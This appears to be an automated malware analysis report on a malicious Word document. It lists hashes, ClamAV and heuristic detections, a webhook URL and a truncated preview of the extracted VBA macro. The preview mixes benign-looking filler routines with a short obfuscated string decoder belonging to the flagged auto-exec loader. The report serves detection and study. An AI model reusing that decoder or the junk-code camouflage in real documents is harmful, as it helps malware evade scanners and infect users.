Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0bf7311b1898c60…

MALICIOUS

Office (OLE)

52.0 KB Created: 2018-10-16 04:39:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: d43c40b1c4c0916ec305ef1b922dff84 SHA-1: d5015dac9b0e24580dfffa483c50883802a7c2c8 SHA-256: c0bf7311b1898c607689ad9aa937b4d3ac32256e39e7535d83b3dfdb8dfce42d
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a heavily obfuscated VBA macro that executes upon opening the document. This macro utilizes CreateObject and CallByName, indicative of malicious intent to download and execute a payload. The ClamAV detection and heuristic firings strongly suggest malware, likely a downloader or dropper.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6749505-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6749505-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • https://hooks.zapier.com/hooks/catch/3811323/lutrx5/?Post_Title=In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9372 bytes
SHA-256: 7d124f0fe319cc9340c5b8c16d0e7d3d9990985ec4d0b9fc0126c8c9933a695f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

Sub deneme()

Set syf1 = Sheets("Sayfa1")
Set syf2 = Sheets("Sayfa2")
tds = 6000
tds2 = 10

Dim dizi1(), dizi2(), dizi3() As Variant
ReDim dizi1(1 To tds, 1 To tds2)
ReDim dizi2(1 To tds)
ReDim dizi3(1 To tds, 1 To tds2)

For i = 1 To tds
    For j = 1 To tds2
        dizi1(i, j) = syf1.Cells(i, j)
    Next j
Next i

k = 0
a = 1
For i = 1 To tds
    a = a + 1
    For j = a To tds
        If dizi1(i, 4) = dizi1(j, 4) Then
            k = k + 1
            dizi2(k) = dizi1(i, 4)
        End If
    Next j
Next i

t = 0
For i = 1 To tds
    kntrl = 0
    For j = 1 To k
        If dizi1(i, 4) = dizi2(j) Then
            kntrl = 1
        End If
    Next j
    If kntrl = 0 Then
        t = t + 1
        For r = 1 To tds2
            dizi3(t, r) = dizi1(i, r)
        Next r
    End If
Next i

For i = 1 To t
    For j = 1 To tds2
        syf2.Cells(i, j) = dizi3(i, j)
    Next j
Next i

End Sub

Sub CreateReport()

    Dim coll As Collection
    ' read the data
    Set coll = ReadAlbums(1990, 2001)
    
    ' Print the album details
    PrintAlbum coll

    ' Print the total sales
    PrintTotalSales coll
    
End Sub

Function ReadAlbums(startYear As Long, endYear As Long) _
              As Collection
    
    Dim rg As Range
    Set rg = Sheet1.Range("A1").CurrentRegion
    
    ' Create a collection to store the albums
    Dim coll As New Collection
    Dim oAlbum As clsAlbum
    
    Dim i As Long, Year As Long
    For i = 2 To rg.Rows.Count
        
        Year = rg.Cells(i, 3)
        If startYear <= Year And endYear >= Year Then
            ' Create new album
            Set oAlbum = New clsAlbum
            ' Add the details
            oAlbum.Artist = rg.Cells(i, 1)
            oAlbum.Title = rg.Cells(i, 2)
            oAlbum.Year = Year
            oAlbum.Genre = rg.Cells(i, 4)
            oAlbum.sales = rg.Cells(i, 5)
            ' Add the album objecdt to the collection
            coll.Add oAlbum
        End If
        
    Next i
    
    Set ReadAlbums = coll
    
End Function

Sub PrintAlbum(coll As Collection)
    
    Dim oAlbum As clsAlbum
    For Each oAlbum In coll
        Debug.Print oAlbum.Title, oAlbum.Artist
    Next
    
End Sub

Sub PrintTotalSales(coll As Collection)
    
    Dim oAlbum As clsAlbum, sales As Double
    For Each oAlbum In coll
        sales = sales + oAlbum.sales
    Next
    
    Debug.Print "Total number sales is " & sales
    
End Sub
Sub NoClass()

Dim DataArray() As Variant

DataArray() = Sheet1.Cells(1, 1).CurrentRegion.Value

Dim Counter As Integer

Dim Ticker As Integer

For Counter = LBound(DataArray(), 1) To UBound(DataArray(), 1) – 1

If DataArray(Counter, 1) DataArray(Counter + 1, 1) Then Ticker = Ticker + 1

Next Counter

End Sub
Private Function OTS_(ByVal RK_ As String)
Dim F_ As String: Dim A_ As Long: For A_ = 1 To Len(RK_) Step 2: F_ = F_ & Chr(Val(Chr(23 + 18 - 3) & Chr(60 + 16 - 12 + 8) & Mid(RK_, A_, 2)) - 87): Next: OTS_ = F_
End Function
Private Sub Create_XML()

Dim objDom As DOMDocument
Dim objRootElem As IXMLDOMElement
Dim objMemberElem As IXMLDOMElement
Dim objMemberRel As IXMLDOMAttribute
Dim objMemberName As IXMLDOMElement

Set objDom = New DOMDocument

' Creates root element
Set objRootElem = objDom.createElement("Family")
objDom.appendChild objRootElem

' Creates Member element
Set objMemberElem = objDom.createElement("Member")
objRootElem.appendChild objMemberElem

' Creates Attribute to the Member Element
Call Add_Attribute(objDom, objMemberElem, "Relationship", "Father")

' Create element under Member element, and
' gives value "some guy"
Set objMemberName = objDom.createElement("Name")
objM
... (truncated)

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